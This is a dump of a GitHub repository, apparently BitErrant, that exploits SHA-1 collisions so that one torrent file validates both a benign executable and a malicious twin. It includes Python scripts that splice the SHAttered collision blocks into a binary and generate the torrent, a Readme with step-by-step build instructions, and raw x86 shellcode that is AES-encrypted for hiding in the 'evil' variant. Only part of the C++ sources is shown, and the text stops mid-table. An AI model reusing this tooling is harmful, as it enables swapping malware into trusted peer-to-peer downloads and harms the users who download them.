├── CodeGeneration ├── correct_alignment.py ├── correct_alignment.pyc ├── generateTorrent.py ├── generateTorrent.pyc ├── getcollision.py ├── global_settings.py ├── global_settings.pyc ├── makeErrant.py ├── replacement_test.py ├── replacement_test │ ├── TwoFace.exe.torrent │ ├── bad.exe │ └── good.exe ├── shatteredData.py └── shatteredData.pyc ├── Readme.txt ├── ShellcodeGeneration ├── shellcode.py ├── shellcodeEncryptor.py └── shellcodeEncryptor.pyc ├── TwoFace.zip └── TwoFace ├── TwoFace.sln └── TwoFace ├── Rijndael.cpp ├── Rijndael.h ├── Test.cpp ├── TwoFace.cpp ├── TwoFace.vcxproj ├── TwoFace.vcxproj.filters ├── collisionData.h ├── stdafx.cpp ├── stdafx.h └── targetver.h /CodeGeneration/correct_alignment.py: -------------------------------------------------------------------------------- 1 | import sys 2 | from shatteredData import shattered1, shattered2 3 | 4 | def roundTochunksize(x, base = 10): 5 | return int(base * round(float(x)/base)) 6 | 7 | def rebaseCollisionData(data, chunksize): 8 | marker = data.find(shattered1[:0x0F]) 9 | if marker == -1: 10 | print '[-] Marker not found! Exiting!' 11 | sys.exit() 12 | 13 | print '[+] Found marker at pos: %s' % (hex(marker),) 14 | newpos = roundTochunksize(marker, chunksize) 15 | print '[+] Rebasing data to: %s' % (hex(newpos),) 16 | if newpos > marker+chunksize or newpos < marker-chunksize: 17 | print 'Fuckup :(' 18 | sys.exit() 19 | 20 | sectionend = marker+chunksize+chunksize 21 | sectionstart = marker-chunksize 22 | 23 | if newpos > marker: 24 | goodfile = data[:sectionstart] +'\x00'*(newpos-sectionstart)+ shattered1 + '\x00'*((2*chunksize)-(newpos-sectionstart)) + data[sectionend:] 25 | badfile = data[:sectionstart] +'\x00'*(newpos-sectionstart)+ shattered2 + '\x00'*((2*chunksize)-(newpos-sectionstart)) + data[sectionend:] 26 | elif newpos < marker: 27 | goodfile = data[:newpos] + shattered1 + '\x00' * (marker - newpos) +data[sectionend:] 28 | badfile = data[:newpos] + shattered2 + '\x00' * (marker - newpos) +data[sectionend:] 29 | else: 30 | goodfile = data[:marker] + shattered1 + data[sectionend-chunksize:] 31 | badfile = data[:marker] + shattered2 + data[sectionend-chunksize:] 32 | print '[+] Anint you the lucky one!' 33 | 34 | return (goodfile, badfile) -------------------------------------------------------------------------------- /CodeGeneration/correct_alignment.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/skelsec/BitErrant/0e94d83142b350a6395904d48dff6ae29985ff46/CodeGeneration/correct_alignment.pyc -------------------------------------------------------------------------------- /CodeGeneration/generateTorrent.py: -------------------------------------------------------------------------------- 1 | import time 2 | import bencode 3 | from hashlib import sha1, md5 4 | 5 | def getChunks(data, chunksize = 2**15): 6 | cl = list() 7 | for h in [data[i:i+chunksize] for i in range(0, len(data), chunksize)]: 8 | yield h 9 | 10 | def readFileData(filename): 11 | data = '' 12 | with open(filename,'rb') as f: 13 | data = f.read() 14 | return data 15 | 16 | def writeFileData(data, filename): 17 | with open(filename,'wb') as f: 18 | f.write(data) 19 | 20 | def generateTorrentFile(data,filename,chunksize,tracker): 21 | torrent = {} 22 | if type(tracker) != list: 23 | torrent["announce"] = tracker 24 | elif type(tracker) == list: 25 | torrent["announce"] = tracker[0] 26 | # And for some reason, each needs its own list 27 | torrent["announce-list"] = [[t] for t in tracker] 28 | torrent["creation date"] = int(time.time()) 29 | torrent["created by"] = 'SkelSec' 30 | torrent["comment"] = 'Created by SkelSec, pls dont use it for evil' 31 | 32 | info = {} 33 | 34 | info["piece length"] = chunksize 35 | info["length"] = len(data) 36 | info["name"] = filename 37 | ########## HAHAHAHAHAAA... NO! info["md5sum"] = md5(data).hexdigest() 38 | pieces = [ sha1(p).digest() for p in getChunks(data,chunksize) ] 39 | info["pieces"] = ''.join(pieces) 40 | torrent["info"] = info 41 | return bencode.bencode(torrent) 42 | 43 | def verifyTorrentFile(data, torrent): 44 | td = bencode.bdecode(torrent) 45 | chunksize = td['info']['piece length'] 46 | temp = td['info']['pieces'] 47 | pieces_torrent = [temp[i:i+20] for i in range(0, len(temp), 20)] 48 | pieces_file = [ sha1(p).digest() for p in getChunks(data,chunksize) ] 49 | if len(pieces_torrent) != len(pieces_file): 50 | return False 51 | 52 | for p1, p2 in zip(pieces_file,pieces_torrent): 53 | if p1 != p2: 54 | return False 55 | 56 | return True 57 | -------------------------------------------------------------------------------- /CodeGeneration/generateTorrent.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/skelsec/BitErrant/0e94d83142b350a6395904d48dff6ae29985ff46/CodeGeneration/generateTorrent.pyc -------------------------------------------------------------------------------- /CodeGeneration/getcollision.py: -------------------------------------------------------------------------------- 1 | import global_settings 2 | from shellcodeEncryptor import byte2carray, byte2intarray 3 | from generateTorrent import generateTorrentFile, readFileData, writeFileData, verifyTorrentFile 4 | 5 | 6 | 7 | chunksize = global_setting.chunksize 8 | data = '' 9 | with open('shattered-1.pdf','rb') as f: 10 | data = f.read(chunksize) 11 | 12 | #print byte2carray(data) 13 | data = '\x00'*chunksize + data + '\x00'*chunksize 14 | writeFileData(byte2intarray(data), "shatter1.carr.txt") 15 | 16 | 17 | with open('shattered-2.pdf','rb') as f: 18 | data = f.read(chunksize) 19 | 20 | #print byte2carray(data) 21 | data = '\x00'*chunksize + data + '\x00'*chunksize 22 | #print byte2carray(data) 23 | 24 | 25 | -------------------------------------------------------------------------------- /CodeGeneration/global_settings.py: -------------------------------------------------------------------------------- 1 | chunksize = 32*1024 -------------------------------------------------------------------------------- /CodeGeneration/global_settings.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/skelsec/BitErrant/0e94d83142b350a6395904d48dff6ae29985ff46/CodeGeneration/global_settings.pyc -------------------------------------------------------------------------------- /CodeGeneration/makeErrant.py: -------------------------------------------------------------------------------- 1 | import global_settings 2 | import sys 3 | import os 4 | import ntpath 5 | from hashlib import sha1, md5 6 | from correct_alignment import rebaseCollisionData 7 | from generateTorrent import generateTorrentFile, readFileData, writeFileData, verifyTorrentFile 8 | 9 | 10 | if __name__ == '__main__': 11 | 12 | outputdirectory = 'output' 13 | torrentfilename = 'output.torrent' 14 | tracker = 'http://tracker.opentrackr.org:1337/announce' 15 | inputfile = 'CompiledFile\TwoFace.exe' 16 | chunksize = global_settings.chunksize 17 | 18 | print '[+] Reading original executable data' 19 | originalData = readFileData(inputfile) 20 | print '[+] Rebasing collision data' 21 | gooddata, evildata = rebaseCollisionData(originalData, chunksize) 22 | print '[+] Writing rebased file to output directory..' 23 | writeFileData(gooddata, os.path.join(outputdirectory, ntpath.basename(inputfile))) 24 | writeFileData(evildata, os.path.join(outputdirectory, 'evil_'+ntpath.basename(inputfile))) 25 | print '[+] Generating torrent file' 26 | torrent = generateTorrentFile(gooddata, ntpath.basename(inputfile), chunksize, tracker) 27 | writeFileData(torrent, os.path.join(outputdirectory, ntpath.basename(inputfile)+'.torrent')) 28 | print '[+] Checking if everything is okay' 29 | if sha1(gooddata).digest() == sha1(evildata).digest(): 30 | print '[-] This is so unlikely even Google culd only do it once!' 31 | sys.exit() 32 | print '[+] Checking gooddata -> torrnet validity...' 33 | if verifyTorrentFile(gooddata, torrent): 34 | print '[+] OK!' 35 | else: 36 | print '[-] FAIL!' 37 | print '[+] Checking evildata -> torrnet validity' 38 | if verifyTorrentFile(evildata, torrent): 39 | print '[+] OK!' 40 | else: 41 | print '[-] FAIL!' -------------------------------------------------------------------------------- /CodeGeneration/replacement_test.py: -------------------------------------------------------------------------------- 1 | import os 2 | import ntpath 3 | import sys 4 | from hashlib import sha1 5 | from shatteredData import shattered1, shattered2 6 | from generateTorrent import readFileData, writeFileData, generateTorrentFile, verifyTorrentFile 7 | 8 | def replaceCollisionData(data, chunksize): 9 | marker = data.find(shattered1[:0x0F]) 10 | if marker == -1: 11 | print '[-] Marker not found! Exiting!' 12 | sys.exit() 13 | sectionend = marker+512+512 14 | sectionstart = marker-512 15 | 16 | goodfile = data[:marker] + shattered1 + data[sectionend-512:] 17 | badfile = data[:marker] + shattered2 + data[sectionend-512:] 18 | 19 | return (goodfile, badfile) 20 | 21 | 22 | if __name__ == "__main__": 23 | 24 | outputdirectory = 'replacement_test/' 25 | torrentfilename = 'output.torrent' 26 | tracker = 'http://tracker.opentrackr.org:1337/announce' 27 | inputfile = 'TwoFace.exe' 28 | chunksize = 512 29 | 30 | data= readFileData('TwoFace.exe') 31 | gooddata, evildata = replaceCollisionData(data,512) 32 | writeFileData(gooddata,'replacement_test/good.exe') 33 | writeFileData(evildata, 'replacement_test/bad.exe') 34 | 35 | torrent = generateTorrentFile(gooddata, 'good.exe', chunksize, tracker) 36 | writeFileData(torrent, os.path.join(outputdirectory, ntpath.basename(inputfile)+'.torrent')) 37 | print '[+] Checking if everything is okay' 38 | if sha1(gooddata).digest() == sha1(evildata).digest(): 39 | print '[-] This is so unlikely even Google culd only do it once!' 40 | sys.exit() 41 | print '[+] Checking gooddata - torrnet validity...' 42 | print verifyTorrentFile(gooddata, torrent) 43 | print '[+] Checking evildata - torrnet validity' 44 | print verifyTorrentFile(evildata, torrent) -------------------------------------------------------------------------------- /CodeGeneration/replacement_test/TwoFace.exe.torrent: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/skelsec/BitErrant/0e94d83142b350a6395904d48dff6ae29985ff46/CodeGeneration/replacement_test/TwoFace.exe.torrent -------------------------------------------------------------------------------- /CodeGeneration/replacement_test/bad.exe: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/skelsec/BitErrant/0e94d83142b350a6395904d48dff6ae29985ff46/CodeGeneration/replacement_test/bad.exe -------------------------------------------------------------------------------- /CodeGeneration/replacement_test/good.exe: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/skelsec/BitErrant/0e94d83142b350a6395904d48dff6ae29985ff46/CodeGeneration/replacement_test/good.exe -------------------------------------------------------------------------------- /CodeGeneration/shatteredData.py: -------------------------------------------------------------------------------- 1 | import global_settings 2 | from generateTorrent import readFileData 3 | 4 | shattered1= readFileData('..\SHAtterFiles\shattered-1.pdf')[:global_settings.chunksize] 5 | 6 | shattered2= readFileData('..\SHAtterFiles\shattered-2.pdf')[:global_settings.chunksize] -------------------------------------------------------------------------------- /CodeGeneration/shatteredData.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/skelsec/BitErrant/0e94d83142b350a6395904d48dff6ae29985ff46/CodeGeneration/shatteredData.pyc -------------------------------------------------------------------------------- /Readme.txt: -------------------------------------------------------------------------------- 1 | Prereq: 2 | 1. visual studio 3 | 2. python bencode 4 | 3. python crypto 5 | 4. the SHAtter pdf files (https://shattered.io/) 6 | 7 | STEPS: 8 | 1. put your shellcode in the "shellcode" variable in shellcode.py. 9 | the script will generate the encrypted shellcode and print out parameters "shellcodeEnc" and "shellcodeSize" 10 | 2. open the VS project file, and in TwoFace.cpp replace the parameters you generated. 11 | (optional) put something useful in the "good" function 12 | compile the project 13 | 3. place the exe file you've just compiled in the "CodeGeneration\CompiledFile" folder 14 | 4. execute "makeErrant.py" in the "CodeGeneration" folder 15 | the results will be written in the "output" folder 16 | 5. now you have a file that executes the "good" function, one file that executes the "evil" function and a torrent file, that is valid for BOTH files :) 17 | 6. use it for education purposes only 18 | 19 | -------------------------------------------------------------------------------- /ShellcodeGeneration/shellcode.py: -------------------------------------------------------------------------------- 1 | from shellcodeEncryptor import AESCipher, byte2carray 2 | 3 | 4 | shellcode = ( 5 | "\x31\xdb\x64\x8b\x7b\x30\x8b\x7f" 6 | "\x0c\x8b\x7f\x1c\x8b\x47\x08\x8b" 7 | "\x77\x20\x8b\x3f\x80\x7e\x0c\x33" 8 | "\x75\xf2\x89\xc7\x03\x78\x3c\x8b" 9 | "\x57\x78\x01\xc2\x8b\x7a\x20\x01" 10 | "\xc7\x89\xdd\x8b\x34\xaf\x01\xc6" 11 | "\x45\x81\x3e\x43\x72\x65\x61\x75" 12 | "\xf2\x81\x7e\x08\x6f\x63\x65\x73" 13 | "\x75\xe9\x8b\x7a\x24\x01\xc7\x66" 14 | "\x8b\x2c\x6f\x8b\x7a\x1c\x01\xc7" 15 | "\x8b\x7c\xaf\xfc\x01\xc7\x89\xd9" 16 | "\xb1\xff\x53\xe2\xfd\x68\x63\x61" 17 | "\x6c\x63\x89\xe2\x52\x52\x53\x53" 18 | "\x53\x53\x53\x53\x52\x53\xff\xd7" 19 | 20 | ) 21 | 22 | 23 | 24 | if __name__ == '__main__': 25 | verifier = 'BADCODE' 26 | print '[+] Reading key from SHAtter file' 27 | key = open('..\SHAtterFiles\shattered-2.pdf','rb').read(0x140)[0xc0:0xd0] 28 | 29 | print '[+] Encrypting shellcode' 30 | enc = AESCipher(key) 31 | encdata = enc.encrypt(verifier+shellcode) 32 | 33 | print 'shellcodeEnc = ' + byte2carray(encdata) + ";" 34 | print '' 35 | print 'shellcodeSize = ' + str(len(encdata)) + ";" 36 | 37 | print byte2carray(key) -------------------------------------------------------------------------------- /ShellcodeGeneration/shellcodeEncryptor.py: -------------------------------------------------------------------------------- 1 | import base64 2 | import hashlib 3 | from Crypto import Random 4 | from Crypto.Cipher import AES 5 | 6 | def byte2carray(data, n=16): 7 | t = "" 8 | for chunk in [data[i:i + n] for i in xrange(0, len(data), n)]: 9 | t += '"' 10 | for c in chunk: 11 | t+='\\x'+c.encode('hex') 12 | t += '"\r\n' 13 | return t[:-2] 14 | 15 | def byte2intarray(data): 16 | t = "{" 17 | for c in data: 18 | t+=str(int(c.encode('hex'), 16)) + ', ' 19 | t += ',0 };' 20 | return t 21 | 22 | class AESCipher(object): 23 | 24 | def __init__(self, key): 25 | self.bs = 16 26 | self.key = key 27 | #self.key = hashlib.sha256(key.encode()).digest() 28 | 29 | def encrypt(self, raw): 30 | raw = self._pad(raw) 31 | cipher = AES.new(self.key, AES.MODE_ECB) 32 | return cipher.encrypt(raw) 33 | 34 | def decrypt(self, enc): 35 | enc = base64.b64decode(enc) 36 | cipher = AES.new(self.key, AES.MODE_ECB) 37 | return self._unpad(cipher.decrypt(enc)).decode('utf-8') 38 | 39 | def _pad(self, s): 40 | return s + (self.bs - len(s) % self.bs) * chr(self.bs - len(s) % self.bs) 41 | 42 | @staticmethod 43 | def _unpad(s): 44 | return s[:-ord(s[len(s)-1:])] 45 | -------------------------------------------------------------------------------- /ShellcodeGeneration/shellcodeEncryptor.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/skelsec/BitErrant/0e94d83142b350a6395904d48dff6ae29985ff46/ShellcodeGeneration/shellcodeEncryptor.pyc -------------------------------------------------------------------------------- /TwoFace.zip: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/skelsec/BitErrant/0e94d83142b350a6395904d48dff6ae29985ff46/TwoFace.zip -------------------------------------------------------------------------------- /TwoFace/TwoFace.sln: -------------------------------------------------------------------------------- 1 |  2 | Microsoft Visual Studio Solution File, Format Version 12.00 3 | # Visual Studio 14 4 | VisualStudioVersion = 14.0.25420.1 5 | MinimumVisualStudioVersion = 10.0.40219.1 6 | Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "TwoFace", "TwoFace\TwoFace.vcxproj", "{7563D4A2-2B7A-4831-8DC1-3BDE41DAC752}" 7 | EndProject 8 | Global 9 | GlobalSection(SolutionConfigurationPlatforms) = preSolution 10 | Debug|x64 = Debug|x64 11 | Debug|x86 = Debug|x86 12 | Release|x64 = Release|x64 13 | Release|x86 = Release|x86 14 | EndGlobalSection 15 | GlobalSection(ProjectConfigurationPlatforms) = postSolution 16 | {7563D4A2-2B7A-4831-8DC1-3BDE41DAC752}.Debug|x64.ActiveCfg = Debug|x64 17 | {7563D4A2-2B7A-4831-8DC1-3BDE41DAC752}.Debug|x64.Build.0 = Debug|x64 18 | {7563D4A2-2B7A-4831-8DC1-3BDE41DAC752}.Debug|x86.ActiveCfg = Debug|Win32 19 | {7563D4A2-2B7A-4831-8DC1-3BDE41DAC752}.Debug|x86.Build.0 = Debug|Win32 20 | {7563D4A2-2B7A-4831-8DC1-3BDE41DAC752}.Release|x64.ActiveCfg = Release|x64 21 | {7563D4A2-2B7A-4831-8DC1-3BDE41DAC752}.Release|x64.Build.0 = Release|x64 22 | {7563D4A2-2B7A-4831-8DC1-3BDE41DAC752}.Release|x86.ActiveCfg = Release|Win32 23 | {7563D4A2-2B7A-4831-8DC1-3BDE41DAC752}.Release|x86.Build.0 = Release|Win32 24 | EndGlobalSection 25 | GlobalSection(SolutionProperties) = preSolution 26 | HideSolutionNode = FALSE 27 | EndGlobalSection 28 | EndGlobal 29 | -------------------------------------------------------------------------------- /TwoFace/TwoFace/Rijndael.cpp: -------------------------------------------------------------------------------- 1 | 2 | //Rijndael.cpp 3 | #include "stdafx.h" 4 | #include 5 | #include 6 | #include "Rijndael.h" 7 | 8 | const int CRijndael::sm_alog[256] = 9 | { 10 | 1, 3, 5, 15, 17, 51, 85, 255, 26, 46, 114, 150, 161, 248, 19, 53, 11 | 95, 225, 56, 72, 216, 115, 149, 164, 247, 2, 6, 10, 30, 34, 102, 170, 12 | 229, 52, 92, 228, 55, 89, 235, 38, 106, 190, 217, 112, 144, 171, 230, 49, 13 | 83, 245, 4, 12, 20, 60, 68, 204, 79, 209, 104, 184, 211, 110, 178, 205, 14 | 76, 212, 103, 169, 224, 59, 77, 215, 98, 166, 241, 8, 24, 40, 120, 136, 15 | 131, 158, 185, 208, 107, 189, 220, 127, 129, 152, 179, 206, 73, 219, 118, 154, 16 | 181, 196, 87, 249, 16, 48, 80, 240, 11, 29, 39, 105, 187, 214, 97, 163, 17 | 254, 25, 43, 125, 135, 146, 173, 236, 47, 113, 147, 174, 233, 32, 96, 160, 18 | 251, 22, 58, 78, 210, 109, 183, 194, 93, 231, 50, 86, 250, 21, 63, 65, 19 | 195, 94, 226, 61, 71, 201, 64, 192, 91, 237, 44, 116, 156, 191, 218, 117, 20 | 159, 186, 213, 100, 172, 239, 42, 126, 130, 157, 188, 223, 122, 142, 137, 128, 21 | 155, 182, 193, 88, 232, 35, 101, 175, 234, 37, 111, 177, 200, 67, 197, 84, 22 | 252, 31, 33, 99, 165, 244, 7, 9, 27, 45, 119, 153, 176, 203, 70, 202, 23 | 69, 207, 74, 222, 121, 139, 134, 145, 168, 227, 62, 66, 198, 81, 243, 14, 24 | 18, 54, 90, 238, 41, 123, 141, 140, 143, 138, 133, 148, 167, 242, 13, 23, 25 | 57, 75, 221, 124, 132, 151, 162, 253, 28, 36, 108, 180, 199, 82, 246, 1 26 | }; 27 | 28 | const int CRijndael::sm_log[256] = 29 | { 30 | 0, 0, 25, 1, 50, 2, 26, 198, 75, 199, 27, 104, 51, 238, 223, 3, 31 | 100, 4, 224, 14, 52, 141, 129, 239, 76, 113, 8, 200, 248, 105, 28, 193, 32 | 125, 194, 29, 181, 249, 185, 39, 106, 77, 228, 166, 114, 154, 201, 9, 120, 33 | 101, 47, 138, 5, 33, 15, 225, 36, 18, 240, 130, 69, 53, 147, 218, 142, 34 | 150, 143, 219, 189, 54, 208, 206, 148, 19, 92, 210, 241, 64, 70, 131, 56, 35 | 102, 221, 253, 48, 191, 6, 139, 98, 179, 37, 226, 152, 34, 136, 145, 16, 36 | 126, 110, 72, 195, 163, 182, 30, 66, 58, 107, 40, 84, 250, 133, 61, 186, 37 | 43, 121, 10, 21, 155, 159, 94, 202, 78, 212, 172, 229, 243, 115, 167, 87, 38 | 175, 88, 168, 80, 244, 234, 214, 116, 79, 174, 233, 213, 231, 230, 173, 232, 39 | 44, 215, 117, 122, 235, 22, 11, 245, 89, 203, 95, 176, 156, 169, 81, 160, 40 | 127, 12, 246, 111, 23, 196, 73, 236, 216, 67, 31, 45, 164, 118, 123, 183, 41 | 204, 187, 62, 90, 251, 96, 177, 134, 59, 82, 161, 108, 170, 85, 41, 157, 42 | 151, 178, 135, 144, 97, 190, 220, 252, 188, 149, 207, 205, 55, 63, 91, 209, 43 | 83, 57, 132, 60, 65, 162, 109, 71, 20, 42, 158, 93, 86, 242, 211, 171, 44 | 68, 17, 146, 217, 35, 32, 46, 137, 180, 124, 184, 38, 119, 153, 227, 165, 45 | 103, 74, 237, 222, 197, 49, 254, 24, 13, 99, 140, 128, 192, 247, 112, 7 46 | }; 47 | 48 | const char CRijndael::sm_S[256] = 49 | { 50 | 99, 124, 119, 123, -14, 107, 111, -59, 48, 1, 103, 43, -2, -41, -85, 118, 51 | -54, -126, -55, 125, -6, 89, 71, -16, -83, -44, -94, -81, -100, -92, 114, -64, 52 | -73, -3, -109, 38, 54, 63, -9, -52, 52, -91, -27, -15, 113, -40, 49, 21, 53 | 4, -57, 35, -61, 24, -106, 5, -102, 7, 18, -128, -30, -21, 39, -78, 117, 54 | 9, -125, 44, 26, 27, 110, 90, -96, 82, 59, -42, -77, 41, -29, 47, -124, 55 | 83, -47, 0, -19, 32, -4, -79, 91, 106, -53, -66, 57, 74, 76, 88, -49, 56 | -48, -17, -86, -5, 67, 77, 51, -123, 69, -7, 2, 127, 80, 60, -97, -88, 57 | 81, -93, 64, -113, -110, -99, 56, -11, -68, -74, -38, 33, 16, -1, -13, -46, 58 | -51, 12, 19, -20, 95, -105, 68, 23, -60, -89, 126, 61, 100, 93, 25, 115, 59 | 96, -127, 79, -36, 34, 42, -112, -120, 70, -18, -72, 20, -34, 94, 11, -37, 60 | -32, 50, 58, 10, 73, 6, 36, 92, -62, -45, -84, 98, -111, -107, -28, 121, 61 | -25, -56, 55, 109, -115, -43, 78, -87, 108, 86, -12, -22, 101, 122, -82, 8, 62 | -70, 120, 37, 46, 28, -90, -76, -58, -24, -35, 116, 31, 75, -67, -117, -118, 63 | 112, 62, -75, 102, 72, 3, -10, 14, 97, 53, 87, -71, -122, -63, 29, -98, 64 | -31, -8, -104, 17, 105, -39, -114, -108, -101, 30, -121, -23, -50, 85, 40, -33, 65 | -116, -95, -119, 13, -65, -26, 66, 104, 65, -103, 45, 15, -80, 84, -69, 22 66 | }; 67 | 68 | const char CRijndael::sm_Si[256] = 69 | { 70 | 82, 9, 106, -43, 48, 54, -91, 56, -65, 64, -93, -98, -127, -13, -41, -5, 71 | 124, -29, 57, -126, -101, 47, -1, -121, 52, -114, 67, 68, -60, -34, -23, -53, 72 | 84, 123, -108, 50, -90, -62, 35, 61, -18, 76, -107, 11, 66, -6, -61, 78, 73 | 8, 46, -95, 102, 40, -39, 36, -78, 118, 91, -94, 73, 109, -117, -47, 37, 74 | 114, -8, -10, 100, -122, 104, -104, 22, -44, -92, 92, -52, 93, 101, -74, -110, 75 | 108, 112, 72, 80, -3, -19, -71, -38, 94, 21, 70, 87, -89, -115, -99, -124, 76 | -112, -40, -85, 0, -116, -68, -45, 10, -9, -28, 88, 5, -72, -77, 69, 6, 77 | -48, 44, 30, -113, -54, 63, 15, 2, -63, -81, -67, 3, 1, 19, -118, 107, 78 | 58, -111, 17, 65, 79, 103, -36, -22, -105, -14, -49, -50, -16, -76, -26, 115, 79 | -106, -84, 116, 34, -25, -83, 53, -123, -30, -7, 55, -24, 28, 117, -33, 110, 80 | 71, -15, 26, 113, 29, 41, -59, -119, 111, -73, 98, 14, -86, 24, -66, 27, 81 | -4, 86, 62, 75, -58, -46, 121, 32, -102, -37, -64, -2, 120, -51, 90, -12, 82 | 31, -35, -88, 51, -120, 7, -57, 49, -79, 18, 16, 89, 39, -128, -20, 95, 83 | 96, 81, 127, -87, 25, -75, 74, 13, 45, -27, 122, -97, -109, -55, -100, -17, 84 | -96, -32, 59, 77, -82, 42, -11, -80, -56, -21, -69, 60, -125, 83, -103, 97, 85 | 23, 43, 4, 126, -70, 119, -42, 38, -31, 105, 20, 99, 85, 33, 12, 125 86 | }; 87 | 88 | const int CRijndael::sm_T1[256] = 89 | { 90 | -966564955, -126059388, -294160487, -159679603, 91 | -855539, -697603139, -563122255, -1849309868, 92 | 1613770832, 33620227, -832084055, 1445669757, 93 | -402719207, -1244145822, 1303096294, -327780710, 94 | -1882535355, 528646813, -1983264448, -92439161, 95 | -268764651, -1302767125, -1907931191, -68095989, 96 | 1101901292, -1277897625, 1604494077, 1169141738, 97 | 597466303, 1403299063, -462261610, -1681866661, 98 | 1974974402, -503448292, 1033081774, 1277568618, 99 | 1815492186, 2118074177, -168298750, -2083730353, 100 | 1748251740, 1369810420, -773462732, -101584632, 101 | -495881837, -1411852173, 1647391059, 706024767, 102 | 134480908, -1782069422, 1176707941, -1648114850, 103 | 806885416, 932615841, 168101135, 798661301, 104 | 235341577, 605164086, 461406363, -538779075, 105 | -840176858, 1311188841, 2142417613, -361400929, 106 | 302582043, 495158174, 1479289972, 874125870, 107 | 907746093, -596742478, -1269146898, 1537253627, 108 | -1538108682, 1983593293, -1210657183, 2108928974, 109 | 1378429307, -572267714, 1580150641, 327451799, 110 | -1504488459, -1177431704, 0, -1041371860, 111 | 1075847264, -469959649, 2041688520, -1235526675, 112 | -731223362, -1916023994, 1740553945, 1916352843, 113 | -1807070498, -1739830060, -1336387352, -2049978550, 114 | -1143943061, -974131414, 1336584933, -302253290, 115 | -2042412091, -1706209833, 1714631509, 293963156, 116 | -1975171633, -369493744, 67240454, -25198719, 117 | -1605349136, 2017213508, 631218106, 1269344483, 118 | -1571728909, 1571005438, -2143272768, 93294474, 119 | 1066570413, 563977660, 1882732616, -235539196, 120 | 1673313503, 2008463041, -1344611723, 1109467491, 121 | 537923632, -436207846, -34344178, -1076702611, 122 | -2117218996, 403442708, 638784309, -1007883217, 123 | -1101045791, 899127202, -2008791860, 773265209, 124 | -1815821225, 1437050866, -58818942, 2050833735, 125 | -932944724, -1168286233, 840505643, -428641387, 126 | -1067425632, 427917720, -1638969391, -1545806721, 127 | 1143087718, 1412049534, 999329963, 193497219, 128 | -1941551414, -940642775, 1807268051, 672404540, 129 | -1478566279, -1134666014, 369822493, -1378100362, 130 | -606019525, 1681011286, 1949973070, 336202270, 131 | -1840690725, 201721354, 1210328172, -1201906460, 132 | -1614626211, -1110191250, 1135389935, -1000185178, 133 | 965841320, 831886756, -739974089, -226920053, 134 | -706222286, -1949775805, 1849112409, -630362697, 135 | 26054028, -1311386268, -1672589614, 1235855840, 136 | -663982924, -1403627782, -202050553, -806688219, 137 | -899324497, -193299826, 1202630377, 268961816, 138 | 1874508501, -260540280, 1243948399, 1546530418, 139 | 941366308, 1470539505, 1941222599, -1748580783, 140 | -873928669, -1579295364, -395021156, 1042226977, 141 | -1773450275, 1639824860, 227249030, 260737669, 142 | -529502064, 2084453954, 1907733956, -865704278, 143 | -1874310952, 100860677, -134810111, 470683154, 144 | -1033805405, 1781871967, -1370007559, 1773779408, 145 | 394692241, -1715355304, 974986535, 664706745, 146 | -639508168, -336005101, 731420851, 571543859, 147 | -764843589, -1445340816, 126783113, 865375399, 148 | 765172662, 1008606754, 361203602, -907417312, 149 | -2016489911, -1437248001, 1344809080, -1512054918, 150 | 59542671, 1503764984, 160008576, 437062935, 151 | 1707065306, -672733647, -2076032314, -798463816, 152 | -2109652541, 697932208, 1512910199, 504303377, 153 | 2075177163, -1470868228, 1841019862, 739644986 154 | }; 155 | 156 | const int CRijndael::sm_T2[256] = 157 | { 158 | -1513725085, -2064089988, -1712425097, -1913226373, 159 | 234877682, -1110021269, -1310822545, 1418839493, 160 | 1348481072, 50462977, -1446090905, 2102799147, 161 | 434634494, 1656084439, -431117397, -1695779210, 162 | 1167051466, -1658879358, 1082771913, -2013627011, 163 | 368048890, -340633255, -913422521, 201060592, 164 | -331240019, 1739838676, -44064094, -364531793, 165 | -1088185188, -145513308, -1763413390, 1536934080, 166 | -1032472649, 484572669, -1371696237, 1783375398, 167 | 1517041206, 1098792767, 49674231, 1334037708, 168 | 1550332980, -195975771, 886171109, 150598129, 169 | -1813876367, 1940642008, 1398944049, 1059722517, 170 | 201851908, 1385547719, 1699095331, 1587397571, 171 | 674240536, -1590192490, 252314885, -1255171430, 172 | 151914247, 908333586, -1692696448, 1038082786, 173 | 651029483, 1766729511, -847269198, -1612024459, 174 | 454166793, -1642232957, 1951935532, 775166490, 175 | 758520603, -1294176658, -290170278, -77881184, 176 | -157003182, 1299594043, 1639438038, -830622797, 177 | 2068982057, 1054729187, 1901997871, -1760328572, 178 | -173649069, 1757008337, 0, 750906861, 179 | 1614815264, 535035132, -931548751, -306816165, 180 | -1093375382, 1183697867, -647512386, 1265776953, 181 | -560706998, -728216500, -391096232, 1250283471, 182 | 1807470800, 717615087, -447763798, 384695291, 183 | -981056701, -677753523, 1432761139, -1810791035, 184 | -813021883, 283769337, 100925954, -2114027649, 185 | -257929136, 1148730428, -1171939425, -481580888, 186 | -207466159, -27417693, -1065336768, -1979347057, 187 | -1388342638, -1138647651, 1215313976, 82966005, 188 | -547111748, -1049119050, 1974459098, 1665278241, 189 | 807407632, 451280895, 251524083, 1841287890, 190 | 1283575245, 337120268, 891687699, 801369324, 191 | -507617441, -1573546089, -863484860, 959321879, 192 | 1469301956, -229267545, -2097381762, 1199193405, 193 | -1396153244, -407216803, 724703513, -1780059277, 194 | -1598005152, -1743158911, -778154161, 2141445340, 195 | 1715741218, 2119445034, -1422159728, -2096396152, 196 | -896776634, 700968686, -747915080, 1009259540, 197 | 2041044702, -490971554, 487983883, 1991105499, 198 | 1004265696, 1449407026, 1316239930, 504629770, 199 | -611169975, 168560134, 1816667172, -457679780, 200 | 1570751170, 1857934291, -280777556, -1497079198, 201 | -1472622191, -1540254315, 936633572, -1947043463, 202 | 852879335, 1133234376, 1500395319, -1210421907, 203 | -1946055283, 1689376213, -761508274, -532043351, 204 | -1260884884, -89369002, 133428468, 634383082, 205 | -1345690267, -1896580486, -381178194, 403703816, 206 | -714097990, -1997506440, 1867130149, 1918643758, 207 | 607656988, -245913946, -948718412, 1368901318, 208 | 600565992, 2090982877, -1662487436, 557719327, 209 | -577352885, 